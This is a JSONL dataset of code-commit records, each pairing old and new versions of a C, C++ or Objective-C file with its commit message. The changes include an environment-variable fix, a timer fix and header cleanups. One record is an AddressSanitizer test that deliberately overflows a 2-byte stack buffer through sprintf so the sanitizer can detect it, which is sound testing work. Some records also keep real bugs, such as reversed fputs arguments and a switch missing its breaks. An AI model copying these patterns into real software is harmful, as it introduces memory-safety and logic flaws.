{"commit":"736a848b590fdebcdf1848eba11b19c0081269c3","old_file":"Capu\/include\/capu\/os\/Windows\/EnvironmentVariables.h","new_file":"Capu\/include\/capu\/os\/Windows\/EnvironmentVariables.h","old_contents":"\/*\n * Copyright (C) 2015 BMW Car IT GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n#define CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n\n#include <capu\/os\/Generic\/EnvironmentVariables.h>\n\nnamespace capu\n{\n    namespace os\n    {\n        class EnvironmentVariables: private capu::generic::EnvironmentVariables\n        {\n        public:\n            using capu::generic::EnvironmentVariables::getAll;\n            static bool get(const String& key, String& value);\n        };\n\n        inline\n        bool EnvironmentVariables::get(const String& key, String& value)\n        {\n            char* envValue = 0;\n            bool found = (0 == _dupenv_s(&envValue, 0, key.c_str()));\n            value = envValue;\n            free(envValue);\n            return found;\n        }\n    }\n}\n\n\n#endif \/\/ CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n","new_contents":"\/*\n * Copyright (C) 2015 BMW Car IT GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n#define CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n\n#include <capu\/os\/Generic\/EnvironmentVariables.h>\n\nnamespace capu\n{\n    namespace os\n    {\n        class EnvironmentVariables: private capu::generic::EnvironmentVariables\n        {\n        public:\n            using capu::generic::EnvironmentVariables::getAll;\n            static bool get(const String& key, String& value);\n        };\n\n        inline\n        bool EnvironmentVariables::get(const String& key, String& value)\n        {\n            char* envValue = 0;\n            errno_t err = _dupenv_s(&envValue, 0, key.c_str());\n            bool found = (err == 0 && envValue != 0);\n            value = envValue;\n            free(envValue);\n            return found;\n        }\n    }\n}\n\n\n#endif \/\/ CAPU_WINDOWS_ENVIRONMENTVARIABLES_H\n","subject":"Fix enviroment variable getter on windows","message":"Fix enviroment variable getter on windows\n\nfound result was always true because condition only checked error code,\nnot if there is really a value\n\nChange-Id: Ie8b8edab0419c629dd558ce9b5466a582de359f8\n","lang":"C","license":"apache-2.0","repos":"bmwcarit\/capu,bmwcarit\/capu"}
{"commit":"96e593920711c2b6cecace99061d02d1b8738f10","old_file":"LYCategory\/_Foundation\/_Fix\/NSNumber+Fix.h","new_file":"LYCategory\/_Foundation\/_Fix\/NSNumber+Fix.h","old_contents":"\/\/\n\/\/  NSNumber+Fix.h\n\/\/  LYCategory\n\/\/\n\/\/  Created by Rick Luo on 11\/25\/13.\n\/\/  Copyright (c) 2013 Luo Yu. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSNumber (Fix)\n\n- (id)objectAtIndex:(NSUInteger)index;\n\n- (id)objectForKey:(id)aKey;\n\n- (BOOL)isEqualToString:(NSString *)aString;\n\n- (NSUInteger)length;\n\n- (NSString *)string;\n\n@end\n","new_contents":"\/\/\n\/\/  NSNumber+Fix.h\n\/\/  LYCategory\n\/\/\n\/\/  Created by Rick Luo on 11\/25\/13.\n\/\/  Copyright (c) 2013 Luo Yu. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSNumber (Fix)\n\n- (id)objectAtIndex:(NSUInteger)index;\n\n- (id)objectForKey:(id)aKey;\n\n- (BOOL)isEqualToString:(NSString *)aString;\n\n- (NSUInteger)length;\n\n- (NSString *)string;\n\n- (BOOL)isReal;\n\n@end\n","subject":"Fix : is real for number object.","message":"Fix : is real for number object.\n","lang":"C","license":"mit","repos":"blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory"}
{"commit":"7363dfbdfb0f51a5a52c1eecdbb847dfcd026f4a","old_file":"test\/asan\/TestCases\/printf-4.c","new_file":"test\/asan\/TestCases\/printf-4.c","old_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: sprintf is not intercepted on Windows yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\nint main() {\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile char buf[2];\n  puts(\"before sprintf\");\n  sprintf((char *)buf, \"%c %d %.3f %s\\n\", c, x, f, s);\n  puts(\"after sprintf\");\n  puts((const char *)buf);\n  return 0;\n  \/\/ Check that size of output buffer is sanitized.\n  \/\/ CHECK-ON: before sprintf\n  \/\/ CHECK-ON-NOT: after sprintf\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n}\n","new_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: sprintf is not intercepted on Windows yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\nint main() {\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile char buf[2];\n  fputs(stderr, \"before sprintf\");\n  sprintf((char *)buf, \"%c %d %.3f %s\\n\", c, x, f, s);\n  fputs(stderr, \"after sprintf\");\n  fputs(stderr, (const char *)buf);\n  return 0;\n  \/\/ Check that size of output buffer is sanitized.\n  \/\/ CHECK-ON: before sprintf\n  \/\/ CHECK-ON-NOT: after sprintf\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n}\n","subject":"Switch to fputs stderr to try to fix output buffering issues","message":"Switch to fputs stderr to try to fix output buffering issues\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@263293 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"5ae017de6d07cd1fae4e475d5b64423551828f87","old_file":"include\/clang\/Basic\/AllDiagnostics.h","new_file":"include\/clang\/Basic\/AllDiagnostics.h","old_contents":"\/\/===--- AllDiagnostics.h - Aggregate Diagnostic headers --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Includes all the separate Diagnostic headers & some related helpers.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_ALLDIAGNOSTICS_H\n#define LLVM_CLANG_BASIC_ALLDIAGNOSTICS_H\n\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/CommentDiagnostic.h\"\n#include \"clang\/Analysis\/AnalysisDiagnostic.h\"\n#include \"clang\/Driver\/DriverDiagnostic.h\"\n#include \"clang\/Frontend\/FrontendDiagnostic.h\"\n#include \"clang\/Lex\/LexDiagnostic.h\"\n#include \"clang\/Parse\/ParseDiagnostic.h\"\n#include \"clang\/Sema\/SemaDiagnostic.h\"\n#include \"clang\/Serialization\/SerializationDiagnostic.h\"\n\nnamespace clang {\ntemplate <size_t SizeOfStr, typename FieldType>\nclass StringSizerHelper {\n  char FIELD_TOO_SMALL[SizeOfStr <= FieldType(~0U) ? 1 : -1];\npublic:\n  enum { Size = SizeOfStr };\n};\n} \/\/ end namespace clang \n\n#define STR_SIZE(str, fieldTy) clang::StringSizerHelper<sizeof(str)-1, \\\n                                                        fieldTy>::Size \n\n#endif\n","new_contents":"\/\/===--- AllDiagnostics.h - Aggregate Diagnostic headers --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Includes all the separate Diagnostic headers & some related helpers.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_ALLDIAGNOSTICS_H\n#define LLVM_CLANG_BASIC_ALLDIAGNOSTICS_H\n\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/CommentDiagnostic.h\"\n#include \"clang\/Analysis\/AnalysisDiagnostic.h\"\n#include \"clang\/Driver\/DriverDiagnostic.h\"\n#include \"clang\/Frontend\/FrontendDiagnostic.h\"\n#include \"clang\/Lex\/LexDiagnostic.h\"\n#include \"clang\/Parse\/ParseDiagnostic.h\"\n#include \"clang\/Sema\/SemaDiagnostic.h\"\n#include \"clang\/Serialization\/SerializationDiagnostic.h\"\n\nnamespace clang {\ntemplate <size_t SizeOfStr, typename FieldType>\nclass StringSizerHelper {\n  static_assert(SizeOfStr <= FieldType(~0U), \"Field too small!\");\npublic:\n  enum { Size = SizeOfStr };\n};\n} \/\/ end namespace clang \n\n#define STR_SIZE(str, fieldTy) clang::StringSizerHelper<sizeof(str)-1, \\\n                                                        fieldTy>::Size \n\n#endif\n","subject":"Use a static_assert instead of using the old array of size -1 trick.","message":"[Basic] Use a static_assert instead of using the old array of size -1 trick.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@305439 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"d463708dd79dc9c1689a8ec5aa6ae6fc4d84d8c8","old_file":"planck-c\/timers.c","new_file":"planck-c\/timers.c","old_contents":"#include <stddef.h>\n#include <time.h>\n#include <pthread.h>\n#include <stdlib.h>\n#include \"timers.h\"\n\nstruct timer_data_t {\n    long millis;\n    timer_callback_t timer_callback;\n    void* data;\n};\n\nvoid *timer_thread(void *data) {\n\n    struct timer_data_t *timer_data = data;\n\n    struct timespec t;\n    t.tv_sec = timer_data->millis \/ 1000;\n    t.tv_nsec = 1000 * 1000 * (timer_data->millis % 1000);\n    nanosleep(&t, NULL);\n    timer_data->timer_callback(timer_data->data);\n\n    free(data);\n\n    return NULL;\n}\n\nvoid start_timer(long millis, timer_callback_t timer_callback, void *data) {\n\n    struct timer_data_t *timer_data = malloc(sizeof(struct timer_data_t));\n    timer_data->millis = millis;\n    timer_data->timer_callback = timer_callback;\n    timer_data->data = data;\n\n    pthread_attr_t attr;\n    pthread_attr_init(&attr);\n    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);\n    pthread_t thread;\n    pthread_create(&thread, &attr, timer_thread, timer_data);\n}\n","new_contents":"#include <stddef.h>\n#include <time.h>\n#include <pthread.h>\n#include <stdlib.h>\n#include \"timers.h\"\n\nstruct timer_data_t {\n    long millis;\n    timer_callback_t timer_callback;\n    void* data;\n};\n\nvoid *timer_thread(void *data) {\n\n    struct timer_data_t *timer_data = data;\n\n    struct timespec t;\n    t.tv_sec = timer_data->millis \/ 1000;\n    t.tv_nsec = 1000 * 1000 * (timer_data->millis % 1000);\n    if (t.tv_sec == 0 && t.tv_nsec == 0) {\n        t.tv_nsec = 1; \/* Evidently needed on Ubuntu 14.04 *\/\n    }\n    nanosleep(&t, NULL);\n    timer_data->timer_callback(timer_data->data);\n\n    free(data);\n\n    return NULL;\n}\n\nvoid start_timer(long millis, timer_callback_t timer_callback, void *data) {\n\n    struct timer_data_t *timer_data = malloc(sizeof(struct timer_data_t));\n    timer_data->millis = millis;\n    timer_data->timer_callback = timer_callback;\n    timer_data->data = data;\n\n    pthread_attr_t attr;\n    pthread_attr_init(&attr);\n    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);\n    pthread_t thread;\n    pthread_create(&thread, &attr, timer_thread, timer_data);\n}\n","subject":"Fix bug if timer executed with 0 ms","message":"Fix bug if timer executed with 0 ms\n","lang":"C","license":"epl-1.0","repos":"mfikes\/planck,slipset\/planck,mfikes\/planck,mfikes\/planck,slipset\/planck,slipset\/planck,slipset\/planck,mfikes\/planck,mfikes\/planck,mfikes\/planck,slipset\/planck"}
{"commit":"2cfe7b5f59bd396e82660360575b71489c6c38e7","old_file":"src\/newspaper.h","new_file":"src\/newspaper.h","old_contents":"#ifndef _NEWSPAPER_H_\n#define _NEWSPAPER_H_\n#include <string>\n#include \"advertenum.h\"\nusing namespace std;\nclass Newspaper {\n    string name;\n    int textPrice, imagePrice, textImagePrice;\n    public:\n    Newspaper(const string& name): name(name) {}\n    int getPriceFor(AdvertType type) const {\n        switch(type) {\n            case AdvertType::Image:\n                return imagePrice;\n            case AdvertType::Text:\n                return textPrice;\n            case AdvertType::TextImage:\n                return textImagePrice;\n        }\n    }\n    void setPriceFor(AdvertType type, int price) {\n        switch(type) {\n            case AdvertType::Image:\n                imagePrice=price;\n            case AdvertType::Text:\n                textPrice=price;\n            case AdvertType::TextImage:\n                textImagePrice=price;\n        }\n    }\n    const string& getName() const {\n        return name;\n    }\n    virtual ~Newspaper() {}\n};\n#endif\n","new_contents":"#ifndef NEWSPAPER_H\n#define NEWSPAPER_H\n#include <string>\n#include \"advertenum.h\"\nusing namespace std;\nclass Newspaper {\n    string name;\n    int textPrice, imagePrice, textImagePrice;\n    public:\n    Newspaper(): name(\"\") {}\n    Newspaper(const string& name): name(name) {}\n    int getPriceFor(AdvertType type) const {\n        switch(type) {\n            case AdvertType::Image:\n                return imagePrice;\n            case AdvertType::Text:\n                return textPrice;\n            case AdvertType::TextImage:\n                return textImagePrice;\n        }\n        return 0;\n    }\n    void setPriceFor(AdvertType type, int price) {\n        switch(type) {\n            case AdvertType::Image:\n                imagePrice=price;\n            case AdvertType::Text:\n                textPrice=price;\n            case AdvertType::TextImage:\n                textImagePrice=price;\n        }\n    }\n    const string& getName() const {\n        return name;\n    }\n    virtual ~Newspaper() {}\n};\n#endif\n","subject":"Fix header guard, add impossible return value, add default name","message":"Fix header guard, add impossible return value, add default name\n","lang":"C","license":"mit","repos":"nyz93\/advertapp,nyz93\/advertapp"}
{"commit":"468fc8cd0f24a1bd07a586017cc55c9a014b4e04","old_file":"src\/webwidget.h","new_file":"src\/webwidget.h","old_contents":"#ifndef WEBWIDGET_H\n#define WEBWIDGET_H\n\n#include \"webpage.h\"\n\n#include <QtWebKit>\n#include <QStringList>\n\nclass WebWidget : public QWebView\n{\n        Q_OBJECT\n    public:\n        WebWidget(QWidget * parent=0);\n        virtual void wheelEvent(QWheelEvent *);\n\n    public slots:\n        void changeFor(WebPage::UserAgents agent);\n        void refitPage();\n\n    private slots:\n        void onNetworkReply(QNetworkReply * reply);\n        void refitPage(bool b);\n\n    signals:\n        void noHostFound(QUrl);\n        void connectionRefused();\n        void remotlyClosed();\n        void timeOut();\n        void operationCancelled();\n        void pageNotFound(QUrl);\n\n    private:\n        WebPage * mWebPage;\n};\n\n#endif \/\/ WEBWIDGET_H\n","new_contents":"\/* Mobile On Desktop - A Smartphone emulator on desktop\n * Copyright (c) 2012 Régis FLORET\n *\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of Régis FLORET nor the names of its contributors\n * \t  may be used to endorse or promote products derived from this\n * \t  software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef WEBWIDGET_H\n#define WEBWIDGET_H\n\n#include \"webpage.h\"\n\n#include <QtWebKit>\n#include <QStringList>\n\nclass WebWidget : public QWebView\n{\n        Q_OBJECT\n    public:\n        WebWidget(QWidget * parent=0);\n        virtual void wheelEvent(QWheelEvent *);\n\n    public slots:\n        void changeFor(WebPage::UserAgents agent);\n        void refitPage();\n\n    private slots:\n        void onNetworkReply(QNetworkReply * reply);\n        void refitPage(bool b);\n\n    signals:\n        void noHostFound(QUrl);\n        void connectionRefused();\n        void remotlyClosed();\n        void timeOut();\n        void operationCancelled();\n        void pageNotFound(QUrl);\n\n    private:\n        WebPage * mWebPage;\n};\n\n#endif \/\/ WEBWIDGET_H\n","subject":"Add BSD header on top of all files (forgot some files)","message":"Add BSD header on top of all files (forgot some files)","lang":"C","license":"bsd-3-clause","repos":"regisf\/mobile-on-desktop,regisf\/mobile-on-desktop"}
{"commit":"2a3b7a9e9928124865cfce561f410a9018aaeb94","old_file":"GTMAppAuth\/Sources\/Public\/GTMAppAuth\/GTMAppAuth.h","new_file":"GTMAppAuth\/Sources\/Public\/GTMAppAuth\/GTMAppAuth.h","old_contents":"\/*! @file GTMAppAuth.h\n    @brief GTMAppAuth SDK\n    @copyright\n        Copyright 2016 Google Inc.\n    @copydetails\n        Licensed under the Apache License, Version 2.0 (the \"License\");\n        you may not use this file except in compliance with the License.\n        You may obtain a copy of the License at\n\n        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n        Unless required by applicable law or agreed to in writing, software\n        distributed under the License is distributed on an \"AS IS\" BASIS,\n        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n        See the License for the specific language governing permissions and\n        limitations under the License.\n *\/\n\n#import \"GTMAppAuthFetcherAuthorization.h\"\n#import \"GTMAppAuthFetcherAuthorization+Keychain.h\"\n#import \"GTMKeychain.h\"\n\n#if TARGET_OS_TV\n#elif TARGET_OS_WATCH\n#elif TARGET_OS_IOS\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#elif TARGET_OS_MAC\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#else\n#warn \"Platform Undefined\"\n#endif\n","new_contents":"\/*! @file GTMAppAuth.h\n    @brief GTMAppAuth SDK\n    @copyright\n        Copyright 2016 Google Inc.\n    @copydetails\n        Licensed under the Apache License, Version 2.0 (the \"License\");\n        you may not use this file except in compliance with the License.\n        You may obtain a copy of the License at\n\n        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n        Unless required by applicable law or agreed to in writing, software\n        distributed under the License is distributed on an \"AS IS\" BASIS,\n        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n        See the License for the specific language governing permissions and\n        limitations under the License.\n *\/\n\n#import \"GTMAppAuthFetcherAuthorization.h\"\n#import \"GTMAppAuthFetcherAuthorization+Keychain.h\"\n\n#if TARGET_OS_TV\n#elif TARGET_OS_WATCH\n#elif TARGET_OS_IOS || TARGET_OS_MAC\n#import \"GTMKeychain.h\"\n#import \"GTMOAuth2KeychainCompatibility.h\"\n#else\n#warn \"Platform Undefined\"\n#endif\n","subject":"Move to iOS and Mac targets only.","message":"Move to iOS and Mac targets only.","lang":"C","license":"apache-2.0","repos":"google\/GTMAppAuth,google\/GTMAppAuth"}
{"commit":"7cc9b51d1d2e091baf4f72a02e46ac1471936e7f","old_file":"config.h","new_file":"config.h","old_contents":"\/\/ batwarn - (C) 2015-2016 Jeffrey E. Bedard\n\n#ifndef CONFIG_H\n#define\tCONFIG_H\n\n#define GAMMA_NORMAL    1.0\n#define GAMMA_WARNING   5.0\n\nenum {\n\tCRIT_PERCENT=5\n\t,LOW_PERCENT=10\n\t,FULL_PERCENT=90\n};\n\n#ifndef DEBUG\n#define WAIT 60\n#else\/\/DEBUG\n#define WAIT 1\n#endif\/\/!DEBUG\n\n#define BATSYSFILE \"\/sys\/class\/power_supply\/BAT0\/capacity\"\n#define ACSYSFILE \"\/sys\/class\/power_supply\/AC\/online\"\n\n#define SUSPEND_CMD \"systemctl suspend\"\n\n#endif\/\/CONFIG_H\n","new_contents":"\/\/ batwarn - (C) 2015-2016 Jeffrey E. Bedard\n\n#ifndef BW_CONFIG_H\n#define\tBW_CONFIG_H\n\n#define GAMMA_NORMAL    1.0\n#define GAMMA_WARNING   5.0\n\nenum PercentCat {\n\tCRIT_PERCENT=5,\n\tLOW_PERCENT=10,\n\tFULL_PERCENT=90\n};\n\n\/\/ Delay for checking system files:\n#ifndef DEBUG\nenum { WAIT = 60 };\n#else\/\/DEBUG\nenum { WAIT = 1 };\n#endif\/\/!DEBUG\n\n\/\/ System files to check:\n#define BATSYSFILE \"\/sys\/class\/power_supply\/BAT0\/capacity\"\n#define ACSYSFILE \"\/sys\/class\/power_supply\/AC\/online\"\n\n#define SUSPEND_CMD \"systemctl suspend\"\n\n#endif\/\/!BW_CONFIG_H\n","subject":"Convert defines to enums. Named percentage category enum. Documented values.","message":"Convert defines to enums.  Named percentage category enum.  Documented values.\n","lang":"C","license":"mit","repos":"jefbed\/batwarn,jefbed\/batwarn"}
{"commit":"bccdf2ad17f4e1ee9c7900e7e1dc95f61f700ea3","old_file":"memory.c","new_file":"memory.c","old_contents":"\/* Copyright (c) 2012 Francis Russell <francis@unchartedbackwaters.co.uk>\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include \"memory.h\"\n\nvoid *lmalloc(const size_t size)\n{\n  void* const data = malloc(size);\n\n  if (data == NULL)\n  {\n    fprintf(stderr, \"Failed to allocate region of %li bytes.\\n\", size);\n    exit(EXIT_FAILURE);\n  }\n\n  return data;\n}\n\nvoid lfree(void *const data)\n{\n  free(data);\n}\n","new_contents":"\/* Copyright (c) 2012 Francis Russell <francis@unchartedbackwaters.co.uk>\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include \"memory.h\"\n\nvoid *lmalloc(const size_t size)\n{\n  void* const data = malloc(size);\n\n  if (data == NULL)\n  {\n    fprintf(stderr, \"Failed to allocate region of %zu bytes.\\n\", size);\n    exit(EXIT_FAILURE);\n  }\n\n  return data;\n}\n\nvoid lfree(void *const data)\n{\n  free(data);\n}\n","subject":"Fix warning on printing value of type size_t.","message":"Fix warning on printing value of type size_t.\n\nMonotone-Parent: f3b43f63ea982bf3ea58c1b0757c412b6a05a42a\nMonotone-Revision: 159ac37e2f3b80788fff369effa2496f32bc5adf\n","lang":"C","license":"mit","repos":"FrancisRussell\/lfmerge"}
{"commit":"ad902e3138ff67a76e7c3d8d6bf7d7d4f76fc479","old_file":"HTMLKit\/CSSAttributeSelector.h","new_file":"HTMLKit\/CSSAttributeSelector.h","old_contents":"\/\/\n\/\/  CSSAttributeSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 14\/05\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CSSSelector.h\"\n#import \"CSSSimpleSelector.h\"\n\ntypedef NS_ENUM(NSUInteger, CSSAttributeSelectorType)\n{\n\tCSSAttributeSelectorExists,\n\tCSSAttributeSelectorExactMatch,\n\tCSSAttributeSelectorIncludes,\n\tCSSAttributeSelectorBegins,\n\tCSSAttributeSelectorEnds,\n\tCSSAttributeSelectorContains,\n\tCSSAttributeSelectorHyphen\n};\n\n@interface CSSAttributeSelector : CSSSelector <CSSSimpleSelector>\n\n@property (nonatomic, assign) CSSAttributeSelectorType type;\n@property (nonatomic, copy) NSString *name;\n@property (nonatomic, copy) NSString *value;\n\n+ (instancetype)selectorForClass:(NSString *)className;\n+ (instancetype)selectorForId:(NSString *)elementId;\n\n- (instancetype)initWithType:(CSSAttributeSelectorType)type\n\t\t\t   attributeName:(NSString *)name\n\t\t\t  attrbiuteValue:(NSString *)value;\n\n@end\n","new_contents":"\/\/\n\/\/  CSSAttributeSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 14\/05\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CSSSelector.h\"\n#import \"CSSSimpleSelector.h\"\n\ntypedef NS_ENUM(NSUInteger, CSSAttributeSelectorType)\n{\n\tCSSAttributeSelectorExists,\n\tCSSAttributeSelectorExactMatch,\n\tCSSAttributeSelectorIncludes,\n\tCSSAttributeSelectorBegins,\n\tCSSAttributeSelectorEnds,\n\tCSSAttributeSelectorContains,\n\tCSSAttributeSelectorHyphen,\n\tCSSAttributeSelectorNot\n};\n\n@interface CSSAttributeSelector : CSSSelector <CSSSimpleSelector>\n\n@property (nonatomic, assign) CSSAttributeSelectorType type;\n@property (nonatomic, copy) NSString * _Nonnull name;\n@property (nonatomic, copy) NSString * _Nonnull value;\n\n+ (nullable instancetype)selectorForClass:(nonnull NSString *)className;\n+ (nullable instancetype)selectorForId:(nonnull NSString *)elementId;\n\n- (nullable instancetype)initWithType:(CSSAttributeSelectorType)type\n\t\t\t\t\t\tattributeName:(nonnull NSString *)name\n\t\t\t\t\t   attrbiuteValue:(nullable NSString *)value;\n\n@end\n","subject":"Add nullability specifiers to attribute selector","message":"Add nullability specifiers to attribute selector\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
